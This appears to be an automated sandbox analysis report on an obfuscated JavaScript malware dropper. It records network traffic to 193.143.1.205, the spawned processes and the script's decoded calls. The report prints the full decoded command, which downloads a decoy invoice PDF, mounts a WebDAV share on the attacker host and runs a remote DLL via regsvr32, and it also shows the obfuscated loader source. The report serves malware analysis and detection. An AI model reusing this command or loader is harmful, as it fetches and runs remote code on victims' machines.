Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:07:44.331602097 CET	192.168.2.6	1.1.1.1	0xf451	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:07:27.934561014 CET	1.1.1.1	192.168.2.6	0x335b	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:07:27.934561014 CET	1.1.1.1	192.168.2.6	0x335b	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:44.338841915 CET	1.1.1.1	192.168.2.6	0xf451	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:07:45.085894108 CET	1.1.1.1	192.168.2.6	0x5ba3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:45.085894108 CET	1.1.1.1	192.168.2.6	0x5ba3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49749	193.143.1.205	80	280	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:07:34.336920023 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:07:35.144346952 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:35 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:07:35.144361973 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:07:35.144431114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:07:35.144443035 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 22:07:35.144455910 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 22:07:35.144534111 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 22:07:35.144543886 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 22:07:35.144556046 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 22:07:35.144567013 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 22:07:35.144579887 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 22:07:35.149317026 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49766	193.143.1.205	8888	3384	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:07:36.781166077 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:07:37.571451902 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:37 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	16:07:29
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1018617432866721695.js"
Imagebase:	0x7ff63e8c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	16:07:30
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll
Imagebase:	0x7ff7d3930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:07:30
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:07:30
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d3930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6b8ef0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:07:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	16:07:36
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:07:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2076 --field-trial-handle=1668,i,16179422375550016729,180343850553128212,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lgsac() {	lgsac() ➔ undefined
1	khgcs = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var nuazi = this[wvztrlg + gbnady + skgjwrn + tyeargb + okplggwv + nxmhpa + qqkryu + fyvzgoe] ( this[fvmzoxcij + ljcpaot + sxmaucaa + skgjwrn + zczty + wvztrlg + fyvzgoe][juatub + skgjwrn + okplggwv + gbnady + fyvzgoe + okplggwv + asqexi + ucxzue + ysrytjk + okplggwv + sxmaucaa + fyvzgoe] ( fvmzoxcij + ljcpaot + sxmaucaa + skgjwrn + zczty + wvztrlg + fyvzgoe + cijihflm + ljcpaot + fkkidmhxm + okplggwv + ddbsgde + ddbsgde ) [uupehtuo + okplggwv + pbxyemmzj + uupehtuo + okplggwv + gbnady + jeuwmeeku] ( cfenl + yoiczws + vvqdrl + brrkhz + jrirrc + juatub + htqsayopr + uupehtuo + uupehtuo + vvqdrl + jxskjbgy + lblnirmxq + jrirrc + htqsayopr + ljcpaot + vvqdrl + uupehtuo + gatvay + juatub + cznfhml + qqkryu + fyvzgoe + skgjwrn + cznfhml + ddbsgde + dacrjihdj + uuvvandy + gbnady + qqkryu + okplggwv + ddbsgde + gatvay + nxmhpa + qqkryu + fyvzgoe + okplggwv + skgjwrn + qqkryu + gbnady + fyvzgoe + zczty + cznfhml + qqkryu + gbnady + ddbsgde + gatvay + vzwedcjx + cznfhml + sxmaucaa + gbnady + ddbsgde + okplggwv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( yfqooife = 0 ; yfqooife < khgcs[ddbsgde + okplggwv + qqkryu + pbxyemmzj + fyvzgoe + fkkidmhxm] ; ++ yfqooife )
4	{
5	if ( nuazi == khgcs[yfqooife] )
6	{
7	nuazi = true;
8	break ;
9	}
10	}
11	if ( nuazi !== true )
12	this[fvmzoxcij + ljcpaot + sxmaucaa + skgjwrn + zczty + wvztrlg + fyvzgoe][hmwipj + zlynktko + zczty + fyvzgoe] ( );
13	this[fvmzoxcij + ljcpaot + sxmaucaa + skgjwrn + zczty + wvztrlg + fyvzgoe][juatub + skgjwrn + okplggwv + gbnady + fyvzgoe + okplggwv + asqexi + ucxzue + ysrytjk + okplggwv + sxmaucaa + fyvzgoe] ( fvmzoxcij + ljcpaot + sxmaucaa + skgjwrn + zczty + wvztrlg + fyvzgoe + cijihflm + ljcpaot + fkkidmhxm + okplggwv + ddbsgde + ddbsgde ) [skgjwrn + zlynktko + qqkryu] ( sxmaucaa + gppkzas + jeuwmeeku + dacrjihdj + vhekqbhnf + sxmaucaa + dacrjihdj + wvztrlg + cznfhml + omrmb + okplggwv + skgjwrn + tyeargb + fkkidmhxm + okplggwv + ddbsgde + ddbsgde + cijihflm + okplggwv + bfhlhics + okplggwv + dacrjihdj + jrnluaf + juatub + cznfhml + gppkzas + gppkzas + gbnady + qqkryu + jeuwmeeku + dacrjihdj + wqxiwp + nxmhpa + qqkryu + gjhptc + cznfhml + xpyqon + okplggwv + jrnluaf + fvmzoxcij + okplggwv + ucxzue + uupehtuo + okplggwv + dfbnyisbx + zlynktko + okplggwv + tyeargb + fyvzgoe + dacrjihdj + jrnluaf + asqexi + zlynktko + fyvzgoe + wuigdci + zczty + ddbsgde + okplggwv + dacrjihdj + xllda + fyvzgoe + okplggwv + gppkzas + wvztrlg + xllda + gatvay + zczty + qqkryu + gjhptc + cznfhml + zczty + sxmaucaa + okplggwv + cijihflm + wvztrlg + jeuwmeeku + okxhcw + dacrjihdj + fkkidmhxm + fyvzgoe + fyvzgoe + wvztrlg + kumpkz + vhekqbhnf + vhekqbhnf + hndkuhk + ncqsuzqr + vdfsu + cijihflm + hndkuhk + lzucxjz + vdfsu + cijihflm + hndkuhk + cijihflm + uxrcew + ygiycw + ferlx + vhekqbhnf + zczty + qqkryu + gjhptc + cznfhml + zczty + sxmaucaa + okplggwv + cijihflm + wvztrlg + fkkidmhxm + wvztrlg + wqxiwp + fuoxnppi + fuoxnppi + tyeargb + fyvzgoe + gbnady + skgjwrn + fyvzgoe + dacrjihdj + xllda + fyvzgoe + okplggwv + gppkzas + wvztrlg + xllda + gatvay + zczty + qqkryu + gjhptc + cznfhml + zczty + sxmaucaa + okplggwv + cijihflm + wvztrlg + jeuwmeeku + okxhcw + fuoxnppi + fuoxnppi + sxmaucaa + gppkzas + jeuwmeeku + dacrjihdj + vhekqbhnf + sxmaucaa + dacrjihdj + qqkryu + okplggwv + fyvzgoe + dacrjihdj + zlynktko + tyeargb + okplggwv + dacrjihdj + gatvay + gatvay + hndkuhk + ncqsuzqr + vdfsu + cijihflm + hndkuhk + lzucxjz + vdfsu + cijihflm + hndkuhk + cijihflm + uxrcew + ygiycw + ferlx + wtrkyfbm + oxdtxctqk + oxdtxctqk + oxdtxctqk + oxdtxctqk + gatvay + jeuwmeeku + gbnady + gjhptc + omrmb + omrmb + omrmb + skgjwrn + cznfhml + cznfhml + fyvzgoe + gatvay + fuoxnppi + fuoxnppi + sxmaucaa + gppkzas + jeuwmeeku + dacrjihdj + vhekqbhnf + sxmaucaa + dacrjihdj + skgjwrn + okplggwv + pbxyemmzj + tyeargb + gjhptc + skgjwrn + vdfsu + uxrcew + dacrjihdj + vhekqbhnf + tyeargb + dacrjihdj + gatvay + gatvay + hndkuhk + ncqsuzqr + vdfsu + cijihflm + hndkuhk + lzucxjz + vdfsu + cijihflm + hndkuhk + cijihflm + uxrcew + ygiycw + ferlx + wtrkyfbm + oxdtxctqk + oxdtxctqk + oxdtxctqk + oxdtxctqk + gatvay + jeuwmeeku + gbnady + gjhptc + omrmb + omrmb + omrmb + skgjwrn + cznfhml + cznfhml + fyvzgoe + gatvay + uxrcew + hndkuhk + tnbyo + tnbyo + vdfsu + rbjobdt + uxrcew + tnbyo + tnbyo + uxrcew + ferlx + ncqsuzqr + ferlx + hndkuhk + cijihflm + jeuwmeeku + ddbsgde + ddbsgde, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21773627725951.dll",0,false) ➔ 0
14	}
15	yoiczws = "d";
16	yoiczws = "n";
17	yoiczws = "X";
18	yoiczws = "K";
19	yoiczws = "d";
20	yoiczws = "h";
21	yoiczws = "T";
22	yoiczws = "D";
23	yoiczws = "X";
24	yoiczws = "g";
25	yoiczws = "W";
26	yoiczws = "S";
27	yoiczws = "H";
28	yoiczws = "G";
29	yoiczws = "p";
30	yoiczws = "z";
31	yoiczws = "J";
32	yoiczws = "H";
33	yoiczws = "O";
34	yoiczws = "q";
35	yoiczws = "v";
36	yoiczws = "j";
37	yoiczws = "w";
38	yoiczws = "G";
39	yoiczws = "z";
40	yoiczws = "D";
41	yoiczws = "h";
42	yoiczws = "W";
43	yoiczws = "y";
44	yoiczws = "Y";
45	yoiczws = "K";
46	brrkhz = "V";
47	brrkhz = "R";
48	brrkhz = "Q";
49	brrkhz = "X";
50	brrkhz = "s";
51	brrkhz = "x";
52	brrkhz = "h";
53	brrkhz = "S";
54	brrkhz = "x";
55	brrkhz = "B";
56	brrkhz = "M";
57	brrkhz = "H";
58	brrkhz = "O";
59	brrkhz = "Z";
60	brrkhz = "N";
61	brrkhz = "k";
62	brrkhz = "K";
63	brrkhz = "B";
64	brrkhz = "F";
65	brrkhz = "c";
66	brrkhz = "T";
67	brrkhz = "A";
68	brrkhz = "d";
69	brrkhz = "e";
70	brrkhz = "X";
71	brrkhz = "J";
72	brrkhz = "t";
73	brrkhz = "s";
74	brrkhz = "w";
75	brrkhz = "t";
76	brrkhz = "m";
77	brrkhz = "d";
78	brrkhz = "n";
79	brrkhz = "m";
80	brrkhz = "Q";
81	brrkhz = "o";
82	brrkhz = "Y";
83	gatvay = "A";
84	gatvay = "i";
85	gatvay = "U";
86	gatvay = "M";
87	gatvay = "i";
88	gatvay = "t";
89	gatvay = "m";
90	gatvay = "E";
91	gatvay = "F";
92	gatvay = "J";
93	gatvay = "U";
94	gatvay = "Y";
95	gatvay = "Q";
96	gatvay = "g";
97	gatvay = "G";
98	gatvay = "l";
99	gatvay = "J";
100	gatvay = "A";
101	gatvay = "k";
102	gatvay = "Q";
103	gatvay = "A";
104	gatvay = "t";
105	gatvay = "p";
106	gatvay = "W";
107	gatvay = "A";
108	gatvay = "p";
109	gatvay = "o";
110	gatvay = "S";
111	gatvay = "k";
112	gatvay = "c";
113	gatvay = "P";
114	gatvay = "\\";
115	jrirrc = "s";
116	jrirrc = "M";
117	jrirrc = "D";
118	jrirrc = "c";
119	jrirrc = "k";
120	jrirrc = "x";
121	jrirrc = "N";
122	jrirrc = "g";
123	jrirrc = "H";
124	jrirrc = "f";
125	jrirrc = "I";
126	jrirrc = "J";
127	jrirrc = "K";
128	jrirrc = "d";
129	jrirrc = "w";
130	jrirrc = "f";
131	jrirrc = "r";
132	jrirrc = "D";
133	jrirrc = "p";
134	jrirrc = "Q";
135	jrirrc = "t";
136	jrirrc = "A";
137	jrirrc = "U";
138	jrirrc = "p";
139	jrirrc = "y";
140	jrirrc = "b";
141	jrirrc = "n";
142	jrirrc = "j";
143	jrirrc = "K";
144	jrirrc = "c";
145	jrirrc = "z";
146	jrirrc = "L";
147	jrirrc = "q";
148	jrirrc = "f";
149	jrirrc = "p";
150	jrirrc = "y";
151	jrirrc = "I";
152	jrirrc = "_";
153	cijihflm = "f";
154	cijihflm = "U";
155	cijihflm = "a";
156	cijihflm = "G";
157	cijihflm = "O";
158	cijihflm = "Q";
159	cijihflm = "H";
160	cijihflm = "N";
161	cijihflm = "g";
162	cijihflm = "w";
163	cijihflm = "f";
164	cijihflm = "i";
165	cijihflm = "J";
166	cijihflm = "F";
167	cijihflm = "Z";
168	cijihflm = "A";
169	cijihflm = "m";
170	cijihflm = "L";
171	cijihflm = "d";
172	cijihflm = "p";
173	cijihflm = "e";
174	cijihflm = "Y";
175	cijihflm = "Z";
176	cijihflm = ".";
177	zczty = "s";
178	zczty = "Y";
179	zczty = "X";
180	zczty = "S";
181	zczty = "Z";
182	zczty = "b";
183	zczty = "P";
184	zczty = "Q";
185	zczty = "q";
186	zczty = "H";
187	zczty = "x";
188	zczty = "h";
189	zczty = "c";
190	zczty = "U";
191	zczty = "n";
192	zczty = "p";
193	zczty = "n";
194	zczty = "b";
195	zczty = "G";
196	zczty = "y";
197	zczty = "z";
198	zczty = "V";
199	zczty = "O";
200	zczty = "x";
201	zczty = "Q";
202	zczty = "f";
203	zczty = "i";
204	asqexi = "A";
205	asqexi = "E";
206	asqexi = "u";
207	asqexi = "K";
208	asqexi = "k";
209	asqexi = "t";
210	asqexi = "E";
211	asqexi = "D";
212	asqexi = "L";
213	asqexi = "Y";
214	asqexi = "c";
215	asqexi = "s";
216	asqexi = "T";
217	asqexi = "r";
218	asqexi = "x";
219	asqexi = "l";
220	asqexi = "F";
221	asqexi = "P";
222	asqexi = "p";
223	asqexi = "I";
224	asqexi = "t";
225	asqexi = "D";
226	asqexi = "E";
227	asqexi = "i";
228	asqexi = "R";
229	asqexi = "c";
230	asqexi = "s";
231	asqexi = "d";
232	asqexi = "p";
233	asqexi = "X";
234	asqexi = "I";
235	asqexi = "h";
236	asqexi = "o";
237	asqexi = "T";
238	asqexi = "O";
239	asqexi = "r";
240	asqexi = "H";
241	asqexi = "j";
242	asqexi = "u";
243	asqexi = "N";
244	asqexi = "O";
245	cznfhml = "c";
246	cznfhml = "X";
247	cznfhml = "n";
248	cznfhml = "o";
249	hmwipj = "X";
250	hmwipj = "K";
251	hmwipj = "J";
252	hmwipj = "W";
253	hmwipj = "z";
254	hmwipj = "a";
255	hmwipj = "b";
256	hmwipj = "Z";
